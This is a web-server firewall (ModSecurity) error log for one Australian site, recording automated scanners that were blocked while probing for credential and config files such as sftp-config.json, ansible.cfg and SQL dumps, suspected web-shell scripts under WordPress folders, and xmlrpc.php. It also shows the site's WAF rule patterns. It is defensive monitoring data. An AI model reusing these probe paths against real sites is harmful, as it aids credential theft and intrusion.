[Thu Mar 05 02:05:10.171556 2026] [:error] [pid 26934:tid 26964] [client 147.135.213.38:38648] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aah0VmDWd71V_nuoqWJBdgAAAIs"]
[Thu Mar 05 02:05:12.669801 2026] [:error] [pid 26934:tid 26960] [client 147.135.213.38:38650] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aah0WGDWd71V_nuoqWJBfQAAAIc"]
[Thu Mar 05 02:05:15.170077 2026] [:error] [pid 27814:tid 27887] [client 147.135.213.38:38664] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aah0W7Pcbh1BHIHQb9J-qwAAAM0"]
[Thu Mar 05 02:05:17.655793 2026] [:error] [pid 26934:tid 26979] [client 147.135.213.38:38680] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aah0XWDWd71V_nuoqWJBhwAAAJg"]
[Thu Mar 05 02:05:20.144146 2026] [:error] [pid 26934:tid 26960] [client 147.135.213.38:35060] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aah0YGDWd71V_nuoqWJBjwAAAIc"]
[Thu Mar 05 02:06:20.239666 2026] [:error] [pid 26934:tid 26954] [client 200.141.33.155:5674] [client 200.141.33.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.141.33.155, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aah0nGDWd71V_nuoqWJCMwAAAIE"]
[Thu Mar 05 02:57:05.431872 2026] [:error] [pid 27472:tid 27541] [client 43.159.149.216:43622] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaiAgbt7N-W1OaN6b8rudwAAAYo"]
[Thu Mar 05 07:29:32.864588 2026] [:error] [pid 53350:tid 53380] [client 43.155.140.157:34790] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aajAXKO0Baxc5WFYeP2YugAAAQU"]
[Thu Mar 05 07:48:16.791326 2026] [:error] [pid 53350:tid 53386] [client 49.235.136.28:48562] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aajEwKO0Baxc5WFYeP2h1gAAAQo"]
[Thu Mar 05 08:01:53.687231 2026] [:error] [pid 41459:tid 41486] [client 196.217.20.130:64471] [client 196.217.20.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.217.20.130, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aajH8edFBZEnZ3pzxrViUwAAAUw"]
[Thu Mar 05 08:35:09.298038 2026] [:error] [pid 41459:tid 41485] [client 124.156.157.91:45244] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aajPvedFBZEnZ3pzxrV3cAAAAUs"]
[Thu Mar 05 09:04:23.027240 2026] [:error] [pid 53350:tid 53376] [client 44.200.129.169:39200] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".initial.sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/mysql.initial.sql"] [unique_id "aajWl6O0Baxc5WFYeP3DRgAAAQE"]
[Thu Mar 05 09:04:24.290635 2026] [:error] [pid 62177:tid 62317] [client 44.200.129.169:39362] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/install/froxlor.sql"] [unique_id "aajWmBWSQc2OzPrsnwU-CgAAAIY"]
[Thu Mar 05 10:06:50.000981 2026] [:error] [pid 41459:tid 41494] [client 147.135.252.138:48892] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aajlOedFBZEnZ3pzxrXBjwAAAVQ"]
[Thu Mar 05 10:06:52.359947 2026] [:error] [pid 62176:tid 62292] [client 147.135.252.138:50002] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aajlPCNfTPJryi30JPm2wQAAAEg"]
[Thu Mar 05 10:06:54.799304 2026] [:error] [pid 41459:tid 41489] [client 147.135.252.138:50018] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aajlPudFBZEnZ3pzxrXBnAAAAU8"]
[Thu Mar 05 19:09:46.960256 2026] [:error] [pid 62435:tid 62474] [client 103.77.106.118:54436] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aalkeiMZJMDfZh_-8sV0HgAAANg"]
[Thu Mar 05 19:09:47.178843 2026] [:error] [pid 53350:tid 53377] [client 103.77.106.118:54459] [client 103.77.106.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aalke6O0Baxc5WFYeP0DqQAAAQI"]
[Thu Mar 05 21:06:55.512115 2026] [:error] [pid 53350:tid 53377] [client 44.200.129.169:51684] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/apache.conf"] [unique_id "aal_76O0Baxc5WFYeP1agQAAAQI"]
[Thu Mar 05 21:06:55.914861 2026] [:error] [pid 41459:tid 41476] [client 44.200.129.169:51686] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/airflow.cfg"] [unique_id "aal_7-dFBZEnZ3pzxrVPyQAAAUI"]
[Thu Mar 05 21:06:59.682094 2026] [:error] [pid 53350:tid 53399] [client 44.200.129.169:56708] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ansible.cfg"] [unique_id "aal_86O0Baxc5WFYeP1anQAAARY"]
[Thu Mar 05 22:40:24.671313 2026] [:error] [pid 41459:tid 41483] [client 157.15.40.88:50080] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aamV2OdFBZEnZ3pzxrWDkAAAAUk"]
[Thu Mar 05 22:40:24.949531 2026] [:error] [pid 53350:tid 53391] [client 157.15.40.88:50098] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/txets.php"] [unique_id "aamV2KO0Baxc5WFYeP2E9gAAAQ4"]
[Thu Mar 05 22:40:25.211357 2026] [:error] [pid 8151:tid 8222] [client 157.15.40.88:50133] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aamV2ZO3dLEidct1HvCoCQAAAYM"]
[Thu Mar 05 22:40:25.463396 2026] [:error] [pid 53350:tid 53383] [client 157.15.40.88:50174] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aamV2aO0Baxc5WFYeP2FAgAAAQg"]
[Thu Mar 05 22:40:25.732184 2026] [:error] [pid 62176:tid 62305] [client 157.15.40.88:50225] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/schallfuns.php"] [unique_id "aamV2SNfTPJryi30JPkJZwAAAFU"]
[Thu Mar 05 22:40:26.007314 2026] [:error] [pid 62176:tid 62286] [client 157.15.40.88:50289] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/postnews.php"] [unique_id "aamV2iNfTPJryi30JPkJcAAAAEI"]
[Thu Mar 05 22:40:26.268094 2026] [:error] [pid 62173:tid 62276] [client 157.15.40.88:50360] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aamV2mj_GWbFb-1ncGmA5gAAABY"]
[Thu Mar 05 22:40:26.524481 2026] [:error] [pid 41459:tid 41488] [client 157.15.40.88:50434] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aamV2udFBZEnZ3pzxrWDwAAAAU4"]
[Thu Mar 05 22:40:26.801020 2026] [:error] [pid 8151:tid 8221] [client 157.15.40.88:50510] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/postnews.php"] [unique_id "aamV2pO3dLEidct1HvCohgAAAYI"]
[Thu Mar 05 23:15:22.993836 2026] [:error] [pid 41459:tid 41492] [client 43.153.36.110:38914] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aameCudFBZEnZ3pzxrWVtAAAAVI"]
[Thu Mar 05 23:31:01.114112 2026] [:error] [pid 62173:tid 62278] [client 197.250.51.109:31171] [client 197.250.51.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.250.51.109, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aamhtWj_GWbFb-1ncGmD7wAAABg"]
[Fri Mar 06 00:44:23.987524 2026] [:error] [pid 48372:tid 48405] [client 103.77.107.222:50953] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aamy50WaQyQyfhXPRrYGSgAAAVA"]
[Fri Mar 06 00:44:24.232932 2026] [:error] [pid 27687:tid 27706] [client 103.77.107.222:51109] [client 103.77.107.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aamy6EI2IG23EwU7sL8A7wAAAIU"]
[Fri Mar 06 02:38:32.212165 2026] [:error] [pid 27687:tid 27701] [client 44.200.129.169:54292] [client 44.200.129.169] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/awstats.conf"] [unique_id "aanNqEI2IG23EwU7sL9SigAAAIA"]
[Fri Mar 06 03:51:15.603410 2026] [:error] [pid 22849:tid 22887] [client 217.182.195.233:35592] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aanes75StH0KKxo05RfHzwAAANc"]
[Fri Mar 06 03:51:18.069497 2026] [:error] [pid 22849:tid 22874] [client 217.182.195.233:43638] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aanetr5StH0KKxo05RfH1gAAAMo"]
[Fri Mar 06 03:51:20.519323 2026] [:error] [pid 22557:tid 22732] [client 217.182.195.233:43644] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaneuC7-f_M3iYITXXCHeAAAAIc"]
[Fri Mar 06 04:42:27.689767 2026] [:error] [pid 8945:tid 8987] [client 101.33.80.42:49296] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aanqswttiLGNg13nMzK8hQAAANQ"]
[Fri Mar 06 06:44:13.316713 2026] [:error] [pid 8945:tid 8986] [client 194.164.166.178:51600] [client 194.164.166.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.178, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaoHPQttiLGNg13nMzL1IgAAANM"]
[Fri Mar 06 07:09:26.463504 2026] [:error] [pid 8656:tid 8812] [client 4.194.42.236:35124] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoNJpPxTG9Ff1TtP6PuKAAAAII"]
[Fri Mar 06 07:09:26.821188 2026] [:error] [pid 44628:tid 44665] [client 4.194.42.236:33537] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoNJoZtiq7T54_AYvJ5PgAAAVQ"]
[Fri Mar 06 07:09:27.174572 2026] [:error] [pid 8656:tid 8822] [client 4.194.42.236:33540] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoNJ5PxTG9Ff1TtP6PuKgAAAIw"]
[Fri Mar 06 07:09:27.527780 2026] [:error] [pid 8656:tid 8830] [client 4.194.42.236:35119] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoNJ5PxTG9Ff1TtP6PuLAAAAJQ"]
[Fri Mar 06 10:21:17.732547 2026] [:error] [pid 8656:tid 8817] [client 43.153.122.30:41680] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aao6HZPxTG9Ff1TtP6OnbAAAAIc"]
[Fri Mar 06 11:46:00.873598 2026] [:error] [pid 16140:tid 16162] [client 20.78.129.42:3097] [client 20.78.129.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aapN-JZVpEeGhAeSpv38yAAAARQ"]
[Fri Mar 06 11:46:01.370673 2026] [:error] [pid 8656:tid 8812] [client 20.78.129.42:14201] [client 20.78.129.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aapN-ZPxTG9Ff1TtP6P9rgAAAII"]
[Fri Mar 06 11:46:01.905879 2026] [:error] [pid 8656:tid 8820] [client 20.78.129.42:22338] [client 20.78.129.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aapN-ZPxTG9Ff1TtP6P9sgAAAIo"]
[Fri Mar 06 11:46:02.426215 2026] [:error] [pid 8648:tid 8759] [client 20.78.129.42:14203] [client 20.78.129.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aapN-khAk6X-gF6akMRrrwAAAAw"]
[Fri Mar 06 13:39:46.036478 2026] [:error] [pid 44628:tid 44651] [client 145.239.69.106:37434] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aapoooZtiq7T54_AYvLSwQAAAUY"]
[Fri Mar 06 13:39:48.577446 2026] [:error] [pid 8945:tid 8987] [client 145.239.69.106:33228] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aapopAttiLGNg13nMzLiwgAAANQ"]
